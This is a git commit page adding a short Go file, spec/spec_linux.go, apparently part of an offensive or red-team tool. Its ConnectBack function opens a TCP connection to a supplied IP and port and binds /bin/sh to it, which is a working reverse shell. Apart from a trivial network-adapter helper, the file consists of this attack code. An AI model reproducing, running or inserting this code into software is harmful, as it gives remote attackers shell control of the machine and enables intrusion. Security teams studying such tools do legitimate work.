cross compile, now testing

This commit is contained in:
d3adzo
2022-01-15 14:26:27 -05:00
committed by Pin
parent 3eb2035d33
commit 3f6d3b3f80
7 changed files with 171 additions and 162 deletions

23
spec/spec_linux.go Normal file
View File

@@ -0,0 +1,23 @@
package spec
import (
"net"
"os/exec"
)
func GetAdapter() string {
return "ens160"
}
func ConnectBack(ip string, connectbackPort string) {
addr := net.JoinHostPort(ip, connectbackPort)
conn, err := net.Dial("tcp", addr)
if err != nil {
// TODO: figure out error handling
return
}
cmd := exec.Command("/bin/sh")
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
cmd.Run()
conn.Close()
}